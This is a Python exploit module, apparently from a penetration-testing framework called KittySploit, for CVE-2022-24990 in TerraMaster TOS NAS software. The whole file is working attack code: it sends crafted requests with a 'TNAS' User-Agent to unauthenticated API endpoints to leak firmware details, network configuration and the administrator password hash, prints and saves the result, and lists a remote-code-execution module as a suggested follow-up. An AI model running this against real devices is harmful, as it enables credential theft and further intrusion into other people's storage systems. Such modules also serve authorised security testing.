TerraMaster TOS Info Disclosure (CVE-2022-24990)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TerraMaster TOS webNasIPS info disclosure (CVE-2022-24990)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'TerraMaster TOS Info Disclosure (CVE-2022-24990)',
        'description': (
            'Exploits CVE-2022-24990 in TerraMaster TOS <4.2.30: User-Agent TNAS on '
            'webNasIPS leaks firmware, network config, and admin password hash (PWD).'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2022-24990'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2022-24990'],
        'tags': ['terramaster', 'nas', 'info-leak', 'credential-leak', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'tech_hints'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/cve_2022_24990_detect',
                    'exploits/linux/http/terramaster_cve_2020_28187_rce',
                ],
            },
        },
    }

    output_file = OptString('', 'Save leak output locally', required=False)

    def _fetch(self, path: str) -> str:
        r = self.http_request(
            method='GET',
            path=path,
            headers={'User-Agent': 'TNAS'},
            allow_redirects=False,
        )
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        for path in ('/module/api.php?mobile/webNasIPS', '/module/api.php?mobile/wapNasIPS'):
            body = self._fetch(path)
            if re.search(r'(PWD:|firmware|webNasIPS successful)', body or '', re.I):
                return {'vulnerable': True, 'reason': f'TerraMaster leak via {path}', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'webNasIPS leak failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('TerraMaster TOS not vulnerable')
            return False
        body = ''
        for path in ('/module/api.php?mobile/webNasIPS', '/module/api.php?mobile/wapNasIPS'):
            chunk = self._fetch(path)
            if chunk:
                print_success(f'{path} — {len(chunk)} bytes')
                print_status(chunk[:3000])
                body = chunk
        out = str(self.output_file or '').strip()
        if out and body:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
        return bool(body)